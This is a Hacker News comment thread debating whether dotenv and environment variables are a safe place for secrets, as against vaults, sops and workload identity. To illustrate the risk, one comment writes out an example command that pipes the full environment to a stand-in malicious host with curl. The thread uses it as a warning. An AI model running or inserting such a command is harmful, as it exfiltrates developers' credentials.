Hacker News Reader

Comment by javcasas | Hacker News Reader

> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files

Teach them to use dotenv.

We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.

We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).

What would be your suggestion?

View on HN

My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.

Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.

As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].

[1] https://github.com/getsops/sops

It's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.

Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?

Via workload identity (Instance Profiles in this case; IRSA with EKS)

Reply on news.ycombinator.com